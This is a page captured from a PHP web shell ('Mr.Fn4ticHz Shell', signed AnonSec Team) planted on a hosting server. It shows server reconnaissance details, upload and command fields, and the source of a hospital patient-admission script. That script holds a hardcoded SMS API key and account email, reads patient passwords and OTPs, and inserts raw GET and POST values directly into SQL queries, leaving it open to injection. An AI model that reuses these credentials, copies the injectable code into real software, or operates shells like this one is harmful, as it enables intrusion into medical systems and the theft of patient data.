Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.145.87.161
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/addpatientrecodsipd.php
<?php
session_start();

$username = "ventexint@gmail.com";
    $apikey = "eebcced9-0ca1-4a6f-940b-c616276e2ec9";
    $sendername = "EASNUP";
require_once('../DBManager.php');
require_once('../LoginManager.php');
require_once('../patientmanager.php');
include 'patient_menu.php';
include 'header.php';
include("dbconnection.php");
if(isset($_POST[signup]))
{ 
      PatientManager::testpatientfinal26MARC("$_POST[patientid]","$_POST[hospitalid]","$_POST[typevisit]","$_POST[casetype]","$_POST[Admitted_Under]","$_POST[triage]","$_POST[P_Mode]","$_POST[entered_by]");
      
}
$DisplayForm=True;
$today = date('Y-m-d');
 $narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
$sql1 ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql1 = mysqli_query($con,$sql1);
		while($rh1 = mysqli_fetch_array($qsql1))
		{
		$sql ="SELECT * FROM discharge WHERE hospital_id='$rh1[entered_by]' AND patientid='$_GET[patientid]' AND status='Admission' AND typevisit='IPD' OR hospital_id='$rh1[entered_by]' AND patientid='$_GET[patientid]' AND status='Admission' AND typevisit='IPD'";
		$qsql = mysqli_query($con,$sql);
		if($rh = mysqli_fetch_array($qsql))
		{
$DisplayForm=False;
echo "<script>window.location='treatment_timline.php?prescriptionid=$rh[prescriptionid]&patientid=$rh[patientid]'</script>";
}
}
if($DisplayForm)
{
?>

<?php 
include("dbconnection.php");
$username = "ventexint@gmail.com";
    $apikey = "eebcced9-0ca1-4a6f-940b-c616276e2ec9";
    $sendername = "EASNUP";
		 $narayan=LoginManager::currentUser();
        $hari=LoginManager::getUserTypeByuname("$narayan");
        	$sql ="SELECT * FROM site_users WHERE userno='$hari'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
		{
		$sql ="SELECT * FROM admin WHERE id='$re[entered_by]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
	    $sql ="SELECT * FROM patient WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rp = mysqli_fetch_array($qsql))
		{
		      $user_otp=$rp['user_otp'];
		      	$hsname=$rs['hsname'];
	    	$name=$rp['patientname'];
	    	$numbers=$rp['numbers'];
	    	$password=$rp['password'];
		$message="Hello $name, Kindly share OTP $user_otp with $hsname to grant permission to access medical records Regards, HAND Corp";
	$message=urlencode($message);
$sms ="http://login.aquasms.com/sendSMS?username=ventexint@gmail.com&message=$message&sendername=EASNUP&smstype=TRANS&numbers=$numbers&apikey=eebcced9-0ca1-4a6f-940b-c616276e2ec9";
	//$sms=urlencode($sms);
	$result=file_get_contents($sms);
	if(mysqli_query($con, $sql)){
 echo '';
 }
		    
		     $narayan1=LoginManager::currentUser();
        $hari2=LoginManager::getUserTypeByuname("$narayan1");
        	$entered_by="$hari2";
		    echo "
<form name='signup' method='post'>


		    <div class='content-wrapper'>
    <!-- Content Header (Page header) -->
    <section class='content-header'>
    <div class='center'>
    
    <table id='example2' width='100%' class='table table-bordered table-hover'>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Name of Hospital: </td>
<td width='50%'>$rs[hsname]</td>
</tr>
<input type='hidden' name='patientid' value='$rp[patientid]'>
<input type='hidden' name='hospitalid' value='$rs[id]'>
<input type='hidden' name='entered_by' value='$entered_by'>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Type of visit :  </td>
<td width='50%'><select onchange='typevisitVA(this.value)' name='typevisit' required>
  <option value='' disabled selected>Type of visit </option>
   ";
$acs=$rs['ipdacs'];
if($acs == 'on'){
     echo "<option value='IPD'>IPD</option>";
    //  <option value='Ipd_Emergency'>Emergency & Accidental</option>";
} else{
    echo "";
}
echo"
  
</select></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Department:  </td>
<td width='50%'><select name='casetype' required>
    ";
		}
		}
		}
		?>
		
	
     <option value='' disabled selected>Case Type </option>
      <option value='Unspecified'>Unspecified</option>
     <?php
 $narayan=LoginManager::currentUser();
$hari=LoginManager::getUserTypeByuname("$narayan");
	$sql ="SELECT * FROM site_users WHERE userno='$hari'";
		$qsql = mysqli_query($con,$sql);
		while($rh = mysqli_fetch_array($qsql))
		$sql ="SELECT * FROM spc WHERE adminid='$rh[entered_by]'";
		$qsql = mysqli_query($con,$sql);
		while($rh = mysqli_fetch_array($qsql))
		{
		     $sql1 ="SELECT * FROM patient WHERE patientid='$_GET[patientid]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($rspi1 = mysqli_fetch_array($qsql1))
		{
		    if($rh[GeneralSurgery] == 'on'){
    echo " <option value='GeneralSurgery'>General Surgery</option>
        </div>";
} else{
    echo "";
}
  if($rh[ENT] == 'on'){
    echo " <option value='ENT'>ENT</option>
        </div>";
} else{
    echo "";
}

if($rh[Opthalmology] == 'on'){
    echo " <option value='Eye_Care'>Opthalmology</option>
        </div>";
} else{
    echo "";
}

if($rh[Orthopaedics] == 'on'){
    echo " <option value='Orthopaedics'>Orthopaedics</option>
        </div>";
} else{
    echo "";
}
if($rh[Cardi] == 'on'){
    echo " <option value='Cardi'>Cardio Thoracic Surgery</option>
        </div>";
} else{
    echo "";
}
if($rh[Paediatric] == 'on'){
    echo " <option value='Paediatric_surgery'>Paediatric surgery</option>
        </div>";
} else{
    echo "";
}
	if($rh[Genitourinary] == 'on'){
    echo " <option value='Genitourinary_Surgery'>Genitourinary Surgery</option>
        </div>";
} else{
    echo "";
}	   
	if($rh[Neuro] == 'on'){
    echo " <option value='Neuro_Surgery'>Neuro Surgery</option>
        </div>";
} else{
    echo "";
}
	if($rh[Surgical] == 'on'){
    echo " <option value='Surgical_Oncology'>Surgical Oncology</option>
        </div>";
} else{
    echo "";
}
	if($rh[Medical] == 'on'){
    echo " <option value='Medical_Oncology'>Medical Oncology</option>
        </div>";
} else{
    echo "";
}
	if($rh[Radiation] == 'on'){
    echo " <option value='Radiation_Oncology'>Radiation Oncology</option>
        </div>";
} else{
    echo "";
}
	if($rh[Burns] == 'on'){
    echo " <option value='Burns'>Burns,Plastic& reconstructive Surgery </option>
        </div>";
} else{
    echo "";
}

	if($rh[Polytrauma] == 'on'){
    echo " <option value='Polytrauma'>Polytrauma</option>
        </div>";
} else{
    echo "";
}
	if($rh[Dental] == 'on'){
    echo " <option value='Dental'>Dental</option>
        </div>";
} else{
    echo "";
}
	if($rh[Paedi] == 'on'){
    echo " <option value='Paediatric_Cancer'>Paediatric Cancer</option>
        </div>";
} else{
    echo "";
}


if($rh[Critical] == 'on'){
    echo " <option value='Critical'>Critical Care Unit</option>
        </div>";
} else{
    echo "";
}
if($rh[General] == 'on'){
    echo "   <option value='General'>General Medicine</option>
        </div>";
} else{
    echo "";
}

if($rh[Paediatr] == 'on'){
    echo "   <option value='Paediatrics'>Paediatrics</option>
        </div>";
} else{
    echo "";
}

if($rh[Neonatology] == 'on'){
    echo "   <option value='Neonatology'>Neonatology</option>
        </div>";
} else{
    echo "";
}


if($rh[Cardiology] == 'on'){
    echo "   <option value='Cardiology'>Cardiology</option>
        </div>";
} else{
    echo "";
}

if($rh[Nephrology] == 'on'){
    echo "   <option value='Nephrology'>Nephrology</option>
        </div>";
} else{
    echo "";
}

if($rh[Neurology] == 'on'){
    echo "   <option value='Neurology'>Neurology</option>
        </div>";
} else{
    echo "";
}


if($rh[Pulmonology] == 'on'){
    echo "   <option value='Pulmonology'>Pulmonology</option>
        </div>";
} else{
    echo "";
}

if($rh[Gastroenterology] == 'on'){
    echo "   <option value='Gastroenterology'>Gastroenterology</option>
        </div>";
} else{
    echo "";
}

if($rh[pathologist] == 'on'){
    echo "   <option value='pathologist'>pathologist</option>
        </div>";
} else{
    echo "";
}
if($rh[radiologist] == 'on'){
    echo "   <option value='radiologist'>radiologist</option>
        </div>";
} else{
    echo "";
}
if($rh[anesthesiologist] == 'on'){
    echo "   <option value='anesthesiologist'>Anesthesiologist</option>
        </div>";
} else{
    echo "";
}

if($rh[hematologist] == 'on'){
    echo "   <option value='hematologist'>Hematologist</option>
        </div>";
} else{
    echo "";
}

if($rh[endocrinology] == 'on'){
    echo "   <option value='endocrinology'>Endocrinology</option>
        </div>";
} else{
    echo "";
}

if($rh[family_medicine] == 'on'){
    echo "   <option value='family_medicine'>Family Medicine</option>
        </div>";
} else{
    echo "";
}
if($rh[Physiology] == 'on'){
    echo "   <option value='Physiology'>Physiology</option>
        </div>";
} else{
    echo "";
}
if($rh[Emergency_Trauma] == 'on'){
    echo "   <option value='Emergency_Trauma'>Emergency_Trauma</option>
        </div>";
} else{
    echo "";
}

if($rh[Radiotherapy] == 'on'){
    echo "   <option value='Radiotherapy'>Radiotherapy</option>
        </div>";
} else{
    echo "";
}

if($rh[Plastic_Surgery] == 'on'){
    echo "   <option value='Plastic_Surgery'>Plastic Surgery</option>
        </div>";
} else{
    echo "";
}


if($rh[Urology] == 'on'){
    echo "   <option value='Urology'>Urology</option>
        </div>";
} else{
    echo "";
}
if($rh[Dermatology] == 'on'){
    echo "   <option value='Dermatology'>Dermatology</option>
        </div>";
} else{
    echo "";
}
if($rh[Diabetologists] == 'on'){
    echo "   <option value='Diabetologists'>Diabetologists</option>
        </div>";
} else{
    echo "";
}
if($rh[Immunologist] == 'on'){
    echo "   <option value='Immunologist'>Immunologist</option>
        </div>";
} else{
    echo "";
}
if($rh[Otorhinolaryngology] == 'on'){
    echo "   <option value='Otorhinolaryngology'>Otorhinolaryngology</option>
        </div>";
} else{
    echo "";
}
if($rh[Pharmacology] == 'on'){
    echo "   <option value='Pharmacology'>Pharmacology</option>
        </div>";
} else{
    echo "";
}
if($rh[Psychiatry] == 'on'){
    echo "   <option value='Psychiatry'>Psychiatry</option>
        </div>";
} else{
    echo "";
}
if($rh[Community] == 'on'){
    echo "   <option value='Community'>Community</option>
        </div>";
} else{
    echo "";
}
if($rh[Forensic] == 'on'){
    echo "   <option value='Forensic'>Forensic</option>
        </div>";
} else{
    echo "";
}
  $sex=$rspi1['gendor'];
		      if($sex == 'female'){
if($rh[Gynaecology] == 'on')
    echo " <option value='Pregnancy'>Obstetrics & Gynaecology</option>
        </div>";
} else{
    echo "";
}
		  
		    
		}
		}
		          	?>
</select></td>
</tr>
<tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Triage </td><td width='50%'><select name='triage' required>  <option value='' disabled selected>Triage</option>
     <option value='Normal_care'>Normal care</option>
    <option value='Urgent_Care'>Urgent Care</option>
   <option value='Immediate_Care'>Immediate Care</option>
    </select></td></tr>
<tr>

<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Admitted Under</td>
<td width='50%'>
<select name='Admitted_Under' id='select2' required>
          <option value='' disabled selected>Admitted Under</option>
";
<?php
include("dbconnection.php");
$username = "ventexint@gmail.com";
    $apikey = "eebcced9-0ca1-4a6f-940b-c616276e2ec9";
    $sendername = "EASNUP";
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
          	$sqldoctor= "SELECT * FROM site_users WHERE usertype='Doctor' and entered_by='$re[entered_by]'";
			$qsqldoctor = mysqli_query($con,$sqldoctor);
			while($rsdoctor = mysqli_fetch_array($qsqldoctor))
			{
				
				echo "<option value='$rsdoctor[userno]'>$rsdoctor[name]</option>";
				}
		}
		?>
		echo"
		  </td>
		  </select>

		
</div>


	</tr>
<tr>

<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;   Mode of Payment</td>
<td width='50%'>
<select name='P_Mode' required class='form-control'>
          <option value='Genaral' selected>Genaral</option>

<?php
include("dbconnection.php");
$username = "ventexint@gmail.com";
    $apikey = "eebcced9-0ca1-4a6f-940b-c616276e2ec9";
    $sendername = "EASNUP";
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($rs = mysqli_fetch_array($qsql1))
		{
            $sqldoctor= "SELECT * FROM emp WHERE (abpmjay='on' OR rsby='on' OR esic='on') and adminid='$rs[entered_by]' ";
            $qsqldoctor = mysqli_query($con,$sqldoctor);
            if($rsdoctor = mysqli_fetch_array($qsqldoctor))
            {
                
                echo "<option value='AB-PMJAY'>AB-PMJAY</option>";
                echo "<option value='RSBY'>RSBY</option>";
                echo "<option value='ESIC'>ESIC</option>";
            
                
            $sql ="SELECT * FROM empanelled WHERE adminid='$rs[entered_by]'";
        $qsql = mysqli_query($con,$sql);
        while($rs = mysqli_fetch_array($qsql))
        {       
            $sqlpatient1 = "SELECT * FROM tpa_insurance where id='$rs[Nameofempanelled]'";
    $qsqlpatient1 = mysqli_query($con,$sqlpatient1);
    while($rsn = mysqli_fetch_array($qsqlpatient1))
    {
        echo "<option value='Cashless-$rsn[Name]'><b>Cashless</b>-$rsn[Name]</option>";
                }   
        }   
            }  } 
        ?>
		
		  </td>
		  </select>
</td>
		</tr>

</table>

 <table id='example2' class='table table-bordered table-hover'>
<tr>

<td> 
 <button id="btn" type="submit" name="signup"  id="btnFetch">Proceed</butoon></td>
 </tr>
</table>
 
      


</div>
</form>

<script>
document.getElementById('btn').addEventListener("click", function(){
    this.classList.add("loading");
    this.innerHTML = "Loading...";
});
</script>
<html>
 <head>
               <style>
                     
       .center {
   border: 1px solid grey;
   text-align:;
}
h2 {
  color: #4287f5;
}
</style>
               
           </head>
   
<?php
}
?>

<script>
 function typevisitVA(drmeid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divmedidr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loadtypevisit.php?drmeid="+drmeid,true);
        xmlhttp.send();
}
            
     
</script>




Anon7 - 2022
AnonSec Team